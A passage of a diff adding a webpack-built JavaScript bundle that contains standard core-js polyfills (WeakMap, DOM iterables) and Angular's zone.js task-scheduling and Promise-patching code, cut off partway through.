"./node_modules/core-js/modules/es6.weak-map.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.weak-map.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var each = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(0); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var meta = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js"); +var assign = __webpack_require__(/*! ./_object-assign */ "./node_modules/core-js/modules/_object-assign.js"); +var weak = __webpack_require__(/*! ./_collection-weak */ "./node_modules/core-js/modules/_collection-weak.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js"); +var NATIVE_WEAK_MAP = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js"); +var IS_IE11 = !global.ActiveXObject && 'ActiveXObject' in global; +var WEAK_MAP = 'WeakMap'; +var getWeak = meta.getWeak; +var isExtensible = Object.isExtensible; +var uncaughtFrozenStore = weak.ufstore; +var InternalMap; + +var wrapper = function (get) { + return function WeakMap() { + return get(this, arguments.length > 0 ? arguments[0] : undefined); + }; +}; + +var methods = { + // 23.3.3.3 WeakMap.prototype.get(key) + get: function get(key) { + if (isObject(key)) { + var data = getWeak(key); + if (data === true) return uncaughtFrozenStore(validate(this, WEAK_MAP)).get(key); + return data ? data[this._i] : undefined; + } + }, + // 23.3.3.5 WeakMap.prototype.set(key, value) + set: function set(key, value) { + return weak.def(validate(this, WEAK_MAP), key, value); + } +}; + +// 23.3 WeakMap Objects +var $WeakMap = module.exports = __webpack_require__(/*! ./_collection */ "./node_modules/core-js/modules/_collection.js")(WEAK_MAP, wrapper, methods, weak, true, true); + +// IE11 WeakMap frozen keys fix +if (NATIVE_WEAK_MAP && IS_IE11) { + InternalMap = weak.getConstructor(wrapper, WEAK_MAP); + assign(InternalMap.prototype, methods); + meta.NEED = true; + each(['delete', 'has', 'get', 'set'], function (key) { + var proto = $WeakMap.prototype; + var method = proto[key]; + redefine(proto, key, function (a, b) { + // store frozen objects on internal weakmap shim + if (isObject(a) && !isExtensible(a)) { + if (!this._f) this._f = new InternalMap(); + var result = this._f[key](a, b); + return key == 'set' ? this : result; + // store all the rest on native weakmap + } return method.call(this, a, b); + }); + }); +} + + +/***/ }), + +/***/ "./node_modules/core-js/modules/web.dom.iterable.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/web.dom.iterable.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $iterators = __webpack_require__(/*! ./es6.array.iterator */ "./node_modules/core-js/modules/es6.array.iterator.js"); +var getKeys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js"); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var hide = __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js"); +var Iterators = __webpack_require__(/*! ./_iterators */ "./node_modules/core-js/modules/_iterators.js"); +var wks = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js"); +var ITERATOR = wks('iterator'); +var TO_STRING_TAG = wks('toStringTag'); +var ArrayValues = Iterators.Array; + +var DOMIterables = { + CSSRuleList: true, // TODO: Not spec compliant, should be false. + CSSStyleDeclaration: false, + CSSValueList: false, + ClientRectList: false, + DOMRectList: false, + DOMStringList: false, + DOMTokenList: true, + DataTransferItemList: false, + FileList: false, + HTMLAllCollection: false, + HTMLCollection: false, + HTMLFormElement: false, + HTMLSelectElement: false, + MediaList: true, // TODO: Not spec compliant, should be false. + MimeTypeArray: false, + NamedNodeMap: false, + NodeList: true, + PaintRequestList: false, + Plugin: false, + PluginArray: false, + SVGLengthList: false, + SVGNumberList: false, + SVGPathSegList: false, + SVGPointList: false, + SVGStringList: false, + SVGTransformList: false, + SourceBufferList: false, + StyleSheetList: true, // TODO: Not spec compliant, should be false. + TextTrackCueList: false, + TextTrackList: false, + TouchList: false +}; + +for (var collections = getKeys(DOMIterables), i = 0; i < collections.length; i++) { + var NAME = collections[i]; + var explicit = DOMIterables[NAME]; + var Collection = global[NAME]; + var proto = Collection && Collection.prototype; + var key; + if (proto) { + if (!proto[ITERATOR]) hide(proto, ITERATOR, ArrayValues); + if (!proto[TO_STRING_TAG]) hide(proto, TO_STRING_TAG, NAME); + Iterators[NAME] = ArrayValues; + if (explicit) for (key in $iterators) if (!proto[key]) redefine(proto, key, $iterators[key], true); + } +} + + +/***/ }), + +/***/ "./node_modules/webpack/buildin/global.js": +/*!***********************************!*\ + !*** (webpack)/buildin/global.js ***! + \***********************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var g; + +// This works in non-strict mode +g = (function() { + return this; +})(); + +try { + // This works if eval is allowed (see CSP) + g = g || new Function("return this")(); +} catch (e) { + // This works if the window reference is available + if (typeof window === "object") g = window; +} + +// g can still be undefined, but nothing to do about it... +// We return undefined, instead of nothing here, so it's +// easier to handle this case. if(!global) { ...} + +module.exports = g; + + +/***/ }), + +/***/ "./node_modules/zone.js/dist/zone.js": +/*!*******************************************!*\ + !*** ./node_modules/zone.js/dist/zone.js ***! + \*******************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +/* WEBPACK VAR INJECTION */(function(global) {/** +* @license +* Copyright Google Inc. All Rights Reserved. +* +* Use of this source code is governed by an MIT-style license that can be +* found in the LICENSE file at https://angular.io/license +*/ +(function (global, factory) { + true ? factory() : + undefined; +}(this, (function () { 'use strict'; + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +var Zone$1 = (function (global) { + var performance = global['performance']; + function mark(name) { + performance && performance['mark'] && performance['mark'](name); + } + function performanceMeasure(name, label) { + performance && performance['measure'] && performance['measure'](name, label); + } + mark('Zone'); + var checkDuplicate = global[('__zone_symbol__forceDuplicateZoneCheck')] === true; + if (global['Zone']) { + // if global['Zone'] already exists (maybe zone.js was already loaded or + // some other lib also registered a global object named Zone), we may need + // to throw an error, but sometimes user may not want this error. + // For example, + // we have two web pages, page1 includes zone.js, page2 doesn't. + // and the 1st time user load page1 and page2, everything work fine, + // but when user load page2 again, error occurs because global['Zone'] already exists. + // so we add a flag to let user choose whether to throw this error or not. + // By default, if existing Zone is from zone.js, we will not throw the error. + if (checkDuplicate || typeof global['Zone'].__symbol__ !== 'function') { + throw new Error('Zone already loaded.'); + } + else { + return global['Zone']; + } + } + var Zone = /** @class */ (function () { + function Zone(parent, zoneSpec) { + this._parent = parent; + this._name = zoneSpec ? zoneSpec.name || 'unnamed' : ''; + this._properties = zoneSpec && zoneSpec.properties || {}; + this._zoneDelegate = + new ZoneDelegate(this, this._parent && this._parent._zoneDelegate, zoneSpec); + } + Zone.assertZonePatched = function () { + if (global['Promise'] !== patches['ZoneAwarePromise']) { + throw new Error('Zone.js has detected that ZoneAwarePromise `(window|global).Promise` ' + + 'has been overwritten.\n' + + 'Most likely cause is that a Promise polyfill has been loaded ' + + 'after Zone.js (Polyfilling Promise api is not necessary when zone.js is loaded. ' + + 'If you must load one, do so before loading zone.js.)'); + } + }; + Object.defineProperty(Zone, "root", { + get: function () { + var zone = Zone.current; + while (zone.parent) { + zone = zone.parent; + } + return zone; + }, + enumerable: true, + configurable: true + }); + Object.defineProperty(Zone, "current", { + get: function () { + return _currentZoneFrame.zone; + }, + enumerable: true, + configurable: true + }); + Object.defineProperty(Zone, "currentTask", { + get: function () { + return _currentTask; + }, + enumerable: true, + configurable: true + }); + Zone.__load_patch = function (name, fn) { + if (patches.hasOwnProperty(name)) { + if (checkDuplicate) { + throw Error('Already loaded patch: ' + name); + } + } + else if (!global['__Zone_disable_' + name]) { + var perfName = 'Zone:' + name; + mark(perfName); + patches[name] = fn(global, Zone, _api); + performanceMeasure(perfName, perfName); + } + }; + Object.defineProperty(Zone.prototype, "parent", { + get: function () { + return this._parent; + }, + enumerable: true, + configurable: true + }); + Object.defineProperty(Zone.prototype, "name", { + get: function () { + return this._name; + }, + enumerable: true, + configurable: true + }); + Zone.prototype.get = function (key) { + var zone = this.getZoneWith(key); + if (zone) + return zone._properties[key]; + }; + Zone.prototype.getZoneWith = function (key) { + var current = this; + while (current) { + if (current._properties.hasOwnProperty(key)) { + return current; + } + current = current._parent; + } + return null; + }; + Zone.prototype.fork = function (zoneSpec) { + if (!zoneSpec) + throw new Error('ZoneSpec required!'); + return this._zoneDelegate.fork(this, zoneSpec); + }; + Zone.prototype.wrap = function (callback, source) { + if (typeof callback !== 'function') { + throw new Error('Expecting function got: ' + callback); + } + var _callback = this._zoneDelegate.intercept(this, callback, source); + var zone = this; + return function () { + return zone.runGuarded(_callback, this, arguments, source); + }; + }; + Zone.prototype.run = function (callback, applyThis, applyArgs, source) { + _currentZoneFrame = { parent: _currentZoneFrame, zone: this }; + try { + return this._zoneDelegate.invoke(this, callback, applyThis, applyArgs, source); + } + finally { + _currentZoneFrame = _currentZoneFrame.parent; + } + }; + Zone.prototype.runGuarded = function (callback, applyThis, applyArgs, source) { + if (applyThis === void 0) { applyThis = null; } + _currentZoneFrame = { parent: _currentZoneFrame, zone: this }; + try { + try { + return this._zoneDelegate.invoke(this, callback, applyThis, applyArgs, source); + } + catch (error) { + if (this._zoneDelegate.handleError(this, error)) { + throw error; + } + } + } + finally { + _currentZoneFrame = _currentZoneFrame.parent; + } + }; + Zone.prototype.runTask = function (task, applyThis, applyArgs) { + if (task.zone != this) { + throw new Error('A task can only be run in the zone of creation! (Creation: ' + + (task.zone || NO_ZONE).name + '; Execution: ' + this.name + ')'); + } + // https://github.com/angular/zone.js/issues/778, sometimes eventTask + // will run in notScheduled(canceled) state, we should not try to + // run such kind of task but just return + if (task.state === notScheduled && (task.type === eventTask || task.type === macroTask)) { + return; + } + var reEntryGuard = task.state != running; + reEntryGuard && task._transitionTo(running, scheduled); + task.runCount++; + var previousTask = _currentTask; + _currentTask = task; + _currentZoneFrame = { parent: _currentZoneFrame, zone: this }; + try { + if (task.type == macroTask && task.data && !task.data.isPeriodic) { + task.cancelFn = undefined; + } + try { + return this._zoneDelegate.invokeTask(this, task, applyThis, applyArgs); + } + catch (error) { + if (this._zoneDelegate.handleError(this, error)) { + throw error; + } + } + } + finally { + // if the task's state is notScheduled or unknown, then it has already been cancelled + // we should not reset the state to scheduled + if (task.state !== notScheduled && task.state !== unknown) { + if (task.type == eventTask || (task.data && task.data.isPeriodic)) { + reEntryGuard && task._transitionTo(scheduled, running); + } + else { + task.runCount = 0; + this._updateTaskCount(task, -1); + reEntryGuard && + task._transitionTo(notScheduled, running, notScheduled); + } + } + _currentZoneFrame = _currentZoneFrame.parent; + _currentTask = previousTask; + } + }; + Zone.prototype.scheduleTask = function (task) { + if (task.zone && task.zone !== this) { + // check if the task was rescheduled, the newZone + // should not be the children of the original zone + var newZone = this; + while (newZone) { + if (newZone === task.zone) { + throw Error("can not reschedule task to " + this.name + " which is descendants of the original zone " + task.zone.name); + } + newZone = newZone.parent; + } + } + task._transitionTo(scheduling, notScheduled); + var zoneDelegates = []; + task._zoneDelegates = zoneDelegates; + task._zone = this; + try { + task = this._zoneDelegate.scheduleTask(this, task); + } + catch (err) { + // should set task's state to unknown when scheduleTask throw error + // because the err may from reschedule, so the fromState maybe notScheduled + task._transitionTo(unknown, scheduling, notScheduled); + // TODO: @JiaLiPassion, should we check the result from handleError? + this._zoneDelegate.handleError(this, err); + throw err; + } + if (task._zoneDelegates === zoneDelegates) { + // we have to check because internally the delegate can reschedule the task. + this._updateTaskCount(task, 1); + } + if (task.state == scheduling) { + task._transitionTo(scheduled, scheduling); + } + return task; + }; + Zone.prototype.scheduleMicroTask = function (source, callback, data, customSchedule) { + return this.scheduleTask(new ZoneTask(microTask, source, callback, data, customSchedule, undefined)); + }; + Zone.prototype.scheduleMacroTask = function (source, callback, data, customSchedule, customCancel) { + return this.scheduleTask(new ZoneTask(macroTask, source, callback, data, customSchedule, customCancel)); + }; + Zone.prototype.scheduleEventTask = function (source, callback, data, customSchedule, customCancel) { + return this.scheduleTask(new ZoneTask(eventTask, source, callback, data, customSchedule, customCancel)); + }; + Zone.prototype.cancelTask = function (task) { + if (task.zone != this) + throw new Error('A task can only be cancelled in the zone of creation! (Creation: ' + + (task.zone || NO_ZONE).name + '; Execution: ' + this.name + ')'); + task._transitionTo(canceling, scheduled, running); + try { + this._zoneDelegate.cancelTask(this, task); + } + catch (err) { + // if error occurs when cancelTask, transit the state to unknown + task._transitionTo(unknown, canceling); + this._zoneDelegate.handleError(this, err); + throw err; + } + this._updateTaskCount(task, -1); + task._transitionTo(notScheduled, canceling); + task.runCount = 0; + return task; + }; + Zone.prototype._updateTaskCount = function (task, count) { + var zoneDelegates = task._zoneDelegates; + if (count == -1) { + task._zoneDelegates = null; + } + for (var i = 0; i < zoneDelegates.length; i++) { + zoneDelegates[i]._updateTaskCount(task.type, count); + } + }; + Zone.__symbol__ = __symbol__; + return Zone; + }()); + var DELEGATE_ZS = { + name: '', + onHasTask: function (delegate, _, target, hasTaskState) { return delegate.hasTask(target, hasTaskState); }, + onScheduleTask: function (delegate, _, target, task) { + return delegate.scheduleTask(target, task); + }, + onInvokeTask: function (delegate, _, target, task, applyThis, applyArgs) { + return delegate.invokeTask(target, task, applyThis, applyArgs); + }, + onCancelTask: function (delegate, _, target, task) { return delegate.cancelTask(target, task); } + }; + var ZoneDelegate = /** @class */ (function () { + function ZoneDelegate(zone, parentDelegate, zoneSpec) { + this._taskCounts = { 'microTask': 0, 'macroTask': 0, 'eventTask': 0 }; + this.zone = zone; + this._parentDelegate = parentDelegate; + this._forkZS = zoneSpec && (zoneSpec && zoneSpec.onFork ? zoneSpec : parentDelegate._forkZS); + this._forkDlgt = zoneSpec && (zoneSpec.onFork ? parentDelegate : parentDelegate._forkDlgt); + this._forkCurrZone = zoneSpec && (zoneSpec.onFork ? this.zone : parentDelegate.zone); + this._interceptZS = + zoneSpec && (zoneSpec.onIntercept ? zoneSpec : parentDelegate._interceptZS); + this._interceptDlgt = + zoneSpec && (zoneSpec.onIntercept ? parentDelegate : parentDelegate._interceptDlgt); + this._interceptCurrZone = + zoneSpec && (zoneSpec.onIntercept ? this.zone : parentDelegate.zone); + this._invokeZS = zoneSpec && (zoneSpec.onInvoke ? zoneSpec : parentDelegate._invokeZS); + this._invokeDlgt = + zoneSpec && (zoneSpec.onInvoke ? parentDelegate : parentDelegate._invokeDlgt); + this._invokeCurrZone = zoneSpec && (zoneSpec.onInvoke ? this.zone : parentDelegate.zone); + this._handleErrorZS = + zoneSpec && (zoneSpec.onHandleError ? zoneSpec : parentDelegate._handleErrorZS); + this._handleErrorDlgt = + zoneSpec && (zoneSpec.onHandleError ? parentDelegate : parentDelegate._handleErrorDlgt); + this._handleErrorCurrZone = + zoneSpec && (zoneSpec.onHandleError ? this.zone : parentDelegate.zone); + this._scheduleTaskZS = + zoneSpec && (zoneSpec.onScheduleTask ? zoneSpec : parentDelegate._scheduleTaskZS); + this._scheduleTaskDlgt = zoneSpec && + (zoneSpec.onScheduleTask ? parentDelegate : parentDelegate._scheduleTaskDlgt); + this._scheduleTaskCurrZone = + zoneSpec && (zoneSpec.onScheduleTask ? this.zone : parentDelegate.zone); + this._invokeTaskZS = + zoneSpec && (zoneSpec.onInvokeTask ? zoneSpec : parentDelegate._invokeTaskZS); + this._invokeTaskDlgt = + zoneSpec && (zoneSpec.onInvokeTask ? parentDelegate : parentDelegate._invokeTaskDlgt); + this._invokeTaskCurrZone = + zoneSpec && (zoneSpec.onInvokeTask ? this.zone : parentDelegate.zone); + this._cancelTaskZS = + zoneSpec && (zoneSpec.onCancelTask ? zoneSpec : parentDelegate._cancelTaskZS); + this._cancelTaskDlgt = + zoneSpec && (zoneSpec.onCancelTask ? parentDelegate : parentDelegate._cancelTaskDlgt); + this._cancelTaskCurrZone = + zoneSpec && (zoneSpec.onCancelTask ? this.zone : parentDelegate.zone); + this._hasTaskZS = null; + this._hasTaskDlgt = null; + this._hasTaskDlgtOwner = null; + this._hasTaskCurrZone = null; + var zoneSpecHasTask = zoneSpec && zoneSpec.onHasTask; + var parentHasTask = parentDelegate && parentDelegate._hasTaskZS; + if (zoneSpecHasTask || parentHasTask) { + // If we need to report hasTask, than this ZS needs to do ref counting on tasks. In such + // a case all task related interceptors must go through this ZD. We can't short circuit it. + this._hasTaskZS = zoneSpecHasTask ? zoneSpec : DELEGATE_ZS; + this._hasTaskDlgt = parentDelegate; + this._hasTaskDlgtOwner = this; + this._hasTaskCurrZone = zone; + if (!zoneSpec.onScheduleTask) { + this._scheduleTaskZS = DELEGATE_ZS; + this._scheduleTaskDlgt = parentDelegate; + this._scheduleTaskCurrZone = this.zone; + } + if (!zoneSpec.onInvokeTask) { + this._invokeTaskZS = DELEGATE_ZS; + this._invokeTaskDlgt = parentDelegate; + this._invokeTaskCurrZone = this.zone; + } + if (!zoneSpec.onCancelTask) { + this._cancelTaskZS = DELEGATE_ZS; + this._cancelTaskDlgt = parentDelegate; + this._cancelTaskCurrZone = this.zone; + } + } + } + ZoneDelegate.prototype.fork = function (targetZone, zoneSpec) { + return this._forkZS ? this._forkZS.onFork(this._forkDlgt, this.zone, targetZone, zoneSpec) : + new Zone(targetZone, zoneSpec); + }; + ZoneDelegate.prototype.intercept = function (targetZone, callback, source) { + return this._interceptZS ? + this._interceptZS.onIntercept(this._interceptDlgt, this._interceptCurrZone, targetZone, callback, source) : + callback; + }; + ZoneDelegate.prototype.invoke = function (targetZone, callback, applyThis, applyArgs, source) { + return this._invokeZS ? this._invokeZS.onInvoke(this._invokeDlgt, this._invokeCurrZone, targetZone, callback, applyThis, applyArgs, source) : + callback.apply(applyThis, applyArgs); + }; + ZoneDelegate.prototype.handleError = function (targetZone, error) { + return this._handleErrorZS ? + this._handleErrorZS.onHandleError(this._handleErrorDlgt, this._handleErrorCurrZone, targetZone, error) : + true; + }; + ZoneDelegate.prototype.scheduleTask = function (targetZone, task) { + var returnTask = task; + if (this._scheduleTaskZS) { + if (this._hasTaskZS) { + returnTask._zoneDelegates.push(this._hasTaskDlgtOwner); + } + returnTask = this._scheduleTaskZS.onScheduleTask(this._scheduleTaskDlgt, this._scheduleTaskCurrZone, targetZone, task); + if (!returnTask) + returnTask = task; + } + else { + if (task.scheduleFn) { + task.scheduleFn(task); + } + else if (task.type == microTask) { + scheduleMicroTask(task); + } + else { + throw new Error('Task is missing scheduleFn.'); + } + } + return returnTask; + }; + ZoneDelegate.prototype.invokeTask = function (targetZone, task, applyThis, applyArgs) { + return this._invokeTaskZS ? this._invokeTaskZS.onInvokeTask(this._invokeTaskDlgt, this._invokeTaskCurrZone, targetZone, task, applyThis, applyArgs) : + task.callback.apply(applyThis, applyArgs); + }; + ZoneDelegate.prototype.cancelTask = function (targetZone, task) { + var value; + if (this._cancelTaskZS) { + value = this._cancelTaskZS.onCancelTask(this._cancelTaskDlgt, this._cancelTaskCurrZone, targetZone, task); + } + else { + if (!task.cancelFn) { + throw Error('Task is not cancelable'); + } + value = task.cancelFn(task); + } + return value; + }; + ZoneDelegate.prototype.hasTask = function (targetZone, isEmpty) { + // hasTask should not throw error so other ZoneDelegate + // can still trigger hasTask callback + try { + this._hasTaskZS && + this._hasTaskZS.onHasTask(this._hasTaskDlgt, this._hasTaskCurrZone, targetZone, isEmpty); + } + catch (err) { + this.handleError(targetZone, err); + } + }; + ZoneDelegate.prototype._updateTaskCount = function (type, count) { + var counts = this._taskCounts; + var prev = counts[type]; + var next = counts[type] = prev + count; + if (next < 0) { + throw new Error('More tasks executed then were scheduled.'); + } + if (prev == 0 || next == 0) { + var isEmpty = { + microTask: counts['microTask'] > 0, + macroTask: counts['macroTask'] > 0, + eventTask: counts['eventTask'] > 0, + change: type + }; + this.hasTask(this.zone, isEmpty); + } + }; + return ZoneDelegate; + }()); + var ZoneTask = /** @class */ (function () { + function ZoneTask(type, source, callback, options, scheduleFn, cancelFn) { + this._zone = null; + this.runCount = 0; + this._zoneDelegates = null; + this._state = 'notScheduled'; + this.type = type; + this.source = source; + this.data = options; + this.scheduleFn = scheduleFn; + this.cancelFn = cancelFn; + this.callback = callback; + var self = this; + // TODO: @JiaLiPassion options should have interface + if (type === eventTask && options && options.useG) { + this.invoke = ZoneTask.invokeTask; + } + else { + this.invoke = function () { + return ZoneTask.invokeTask.call(global, self, this, arguments); + }; + } + } + ZoneTask.invokeTask = function (task, target, args) { + if (!task) { + task = this; + } + _numberOfNestedTaskFrames++; + try { + task.runCount++; + return task.zone.runTask(task, target, args); + } + finally { + if (_numberOfNestedTaskFrames == 1) { + drainMicroTaskQueue(); + } + _numberOfNestedTaskFrames--; + } + }; + Object.defineProperty(ZoneTask.prototype, "zone", { + get: function () { + return this._zone; + }, + enumerable: true, + configurable: true + }); + Object.defineProperty(ZoneTask.prototype, "state", { + get: function () { + return this._state; + }, + enumerable: true, + configurable: true + }); + ZoneTask.prototype.cancelScheduleRequest = function () { + this._transitionTo(notScheduled, scheduling); + }; + ZoneTask.prototype._transitionTo = function (toState, fromState1, fromState2) { + if (this._state === fromState1 || this._state === fromState2) { + this._state = toState; + if (toState == notScheduled) { + this._zoneDelegates = null; + } + } + else { + throw new Error(this.type + " '" + this.source + "': can not transition to '" + toState + "', expecting state '" + fromState1 + "'" + (fromState2 ? ' or \'' + fromState2 + '\'' : '') + ", was '" + this._state + "'."); + } + }; + ZoneTask.prototype.toString = function () { + if (this.data && typeof this.data.handleId !== 'undefined') { + return this.data.handleId.toString(); + } + else { + return Object.prototype.toString.call(this); + } + }; + // add toJSON method to prevent cyclic error when + // call JSON.stringify(zoneTask) + ZoneTask.prototype.toJSON = function () { + return { + type: this.type, + state: this.state, + source: this.source, + zone: this.zone.name, + runCount: this.runCount + }; + }; + return ZoneTask; + }()); + ////////////////////////////////////////////////////// + ////////////////////////////////////////////////////// + /// MICROTASK QUEUE + ////////////////////////////////////////////////////// + ////////////////////////////////////////////////////// + var symbolSetTimeout = __symbol__('setTimeout'); + var symbolPromise = __symbol__('Promise'); + var symbolThen = __symbol__('then'); + var _microTaskQueue = []; + var _isDrainingMicrotaskQueue = false; + var nativeMicroTaskQueuePromise; + function scheduleMicroTask(task) { + // if we are not running in any task, and there has not been anything scheduled + // we must bootstrap the initial task creation by manually scheduling the drain + if (_numberOfNestedTaskFrames === 0 && _microTaskQueue.length === 0) { + // We are not running in Task, so we need to kickstart the microtask queue. + if (!nativeMicroTaskQueuePromise) { + if (global[symbolPromise]) { + nativeMicroTaskQueuePromise = global[symbolPromise].resolve(0); + } + } + if (nativeMicroTaskQueuePromise) { + var nativeThen = nativeMicroTaskQueuePromise[symbolThen]; + if (!nativeThen) { + // native Promise is not patchable, we need to use `then` directly + // issue 1078 + nativeThen = nativeMicroTaskQueuePromise['then']; + } + nativeThen.call(nativeMicroTaskQueuePromise, drainMicroTaskQueue); + } + else { + global[symbolSetTimeout](drainMicroTaskQueue, 0); + } + } + task && _microTaskQueue.push(task); + } + function drainMicroTaskQueue() { + if (!_isDrainingMicrotaskQueue) { + _isDrainingMicrotaskQueue = true; + while (_microTaskQueue.length) { + var queue = _microTaskQueue; + _microTaskQueue = []; + for (var i = 0; i < queue.length; i++) { + var task = queue[i]; + try { + task.zone.runTask(task, null, null); + } + catch (error) { + _api.onUnhandledError(error); + } + } + } + _api.microtaskDrainDone(); + _isDrainingMicrotaskQueue = false; + } + } + ////////////////////////////////////////////////////// + ////////////////////////////////////////////////////// + /// BOOTSTRAP + ////////////////////////////////////////////////////// + ////////////////////////////////////////////////////// + var NO_ZONE = { name: 'NO ZONE' }; + var notScheduled = 'notScheduled', scheduling = 'scheduling', scheduled = 'scheduled', running = 'running', canceling = 'canceling', unknown = 'unknown'; + var microTask = 'microTask', macroTask = 'macroTask', eventTask = 'eventTask'; + var patches = {}; + var _api = { + symbol: __symbol__, + currentZoneFrame: function () { return _currentZoneFrame; }, + onUnhandledError: noop, + microtaskDrainDone: noop, + scheduleMicroTask: scheduleMicroTask, + showUncaughtError: function () { return !Zone[__symbol__('ignoreConsoleErrorUncaughtError')]; }, + patchEventTarget: function () { return []; }, + patchOnProperties: noop, + patchMethod: function () { return noop; }, + bindArguments: function () { return []; }, + patchThen: function () { return noop; }, + patchMacroTask: function () { return noop; }, + setNativePromise: function (NativePromise) { + // sometimes NativePromise.resolve static function + // is not ready yet, (such as core-js/es6.promise) + // so we need to check here. + if (NativePromise && typeof NativePromise.resolve === 'function') { + nativeMicroTaskQueuePromise = NativePromise.resolve(0); + } + }, + patchEventPrototype: function () { return noop; }, + isIEOrEdge: function () { return false; }, + getGlobalObjects: function () { return undefined; }, + ObjectDefineProperty: function () { return noop; }, + ObjectGetOwnPropertyDescriptor: function () { return undefined; }, + ObjectCreate: function () { return undefined; }, + ArraySlice: function () { return []; }, + patchClass: function () { return noop; }, + wrapWithCurrentZone: function () { return noop; }, + filterProperties: function () { return []; }, + attachOriginToPatched: function () { return noop; }, + _redefineProperty: function () { return noop; }, + patchCallbacks: function () { return noop; } + }; + var _currentZoneFrame = { parent: null, zone: new Zone(null, null) }; + var _currentTask = null; + var _numberOfNestedTaskFrames = 0; + function noop() { } + function __symbol__(name) { + return '__zone_symbol__' + name; + } + performanceMeasure('Zone', 'Zone'); + return global['Zone'] = Zone; +})(typeof window !== 'undefined' && window || typeof self !== 'undefined' && self || global); + +var __values = (undefined && undefined.__values) || function (o) { + var m = typeof Symbol === "function" && o[Symbol.iterator], i = 0; + if (m) return m.call(o); + return { + next: function () { + if (o && i >= o.length) o = void 0; + return { value: o && o[i++], done: !o }; + } + }; +}; +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +Zone.__load_patch('ZoneAwarePromise', function (global, Zone, api) { + var ObjectGetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; + var ObjectDefineProperty = Object.defineProperty; + function readableObjectToString(obj) { + if (obj && obj.toString === Object.prototype.toString) { + var className = obj.constructor && obj.constructor.name; + return (className ? className : '') + ': ' + JSON.stringify(obj); + } + return obj ? obj.toString() : Object.prototype.toString.call(obj); + } + var __symbol__ = api.symbol; + var _uncaughtPromiseErrors = []; + var symbolPromise = __symbol__('Promise'); + var symbolThen = __symbol__('then'); + var creationTrace = '__creationTrace__'; + api.onUnhandledError = function (e) { + if (api.showUncaughtError()) { + var rejection = e && e.rejection; + if (rejection) { + console.error('Unhandled Promise rejection:', rejection instanceof Error ? rejection.message : rejection, '; Zone:', e.zone.name, '; Task:', e.task && e.task.source, '; Value:', rejection, rejection instanceof Error ? rejection.stack : undefined); + } + else { + console.error(e); + } + } + }; + api.microtaskDrainDone = function () { + while (_uncaughtPromiseErrors.length) { + var _loop_1 = function () { + var uncaughtPromiseError = _uncaughtPromiseErrors.shift(); + try { + uncaughtPromiseError.zone.runGuarded(function () { + throw uncaughtPromiseError; + }); + } + catch (error) { + handleUnhandledRejection(error); + } + }; + while (_uncaughtPromiseErrors.length) { + _loop_1(); + } + } + }; + var UNHANDLED_PROMISE_REJECTION_HANDLER_SYMBOL = __symbol__('unhandledPromiseRejectionHandler'); + function handleUnhandledRejection(e) { + api.onUnhandledError(e); + try { + var handler = Zone[UNHANDLED_PROMISE_REJECTION_HANDLER_SYMBOL]; + if (handler && typeof handler === 'function') { + handler.call(this, e); + } + } + catch (err) { + } + } + function isThenable(value) { + return value && value.then; + } + function forwardResolution(value) { + return value; + } + function forwardRejection(rejection) { + return ZoneAwarePromise.reject(rejection); + } + var symbolState = __symbol__('state'); + var symbolValue = __symbol__('value'); + var symbolFinally = __symbol__('finally'); + var symbolParentPromiseValue = __symbol__('parentPromiseValue'); + var symbolParentPromiseState = __symbol__('parentPromiseState'); + var source = 'Promise.then'; + var UNRESOLVED = null; + var RESOLVED = true; + var REJECTED = false; + var REJECTED_NO_CATCH = 0; + function makeResolver(promise, state) { + return function (v) { + try { + resolvePromise(promise, state, v); + } + catch (err) { + resolvePromise(promise, false, err); + } + // Do not return value or you will break the Promise spec. + }; + } + var once = function () { + var wasCalled = false; + return function wrapper(wrappedFunction) { + return function () { + if (wasCalled) { + return; + } + wasCalled = true; + wrappedFunction.apply(null, arguments); + }; + }; + }; + var TYPE_ERROR = 'Promise resolved with itself'; + var CURRENT_TASK_TRACE_SYMBOL = __symbol__('currentTaskTrace'); + // Promise Resolution + function resolvePromise(promise, state, value) { + var onceWrapper = once(); + if (promise === value) { + throw new TypeError(TYPE_ERROR); + } + if (promise[symbolState] === UNRESOLVED) { + // should only get value.then once based on promise spec. + var then = null; + try { + if (typeof value === 'object' || typeof value === 'function') { + then = value && value.then; + } + } + catch (err) { + onceWrapper(function () { + resolvePromise(promise, false, err); + })(); + return promise; + } + // if (value instanceof ZoneAwarePromise) { + if (state !== REJECTED && value instanceof ZoneAwarePromise && + value.hasOwnProperty(symbolState) && value.hasOwnProperty(symbolValue) && + value[symbolState] !== UNRESOLVED) { + clearRejectedNoCatch(value); + resolvePromise(promise, value[symbolState], value[symbolValue]); + } + else if (state !== REJECTED && typeof then === 'function') { + try { + then.call(value, onceWrapper(makeResolver(promise, state)), onceWrapper(makeResolver(promise, false))); + } + catch (err) { + onceWrapper(function () { + resolvePromise(promise, false, err); + })(); + } + } + else { + 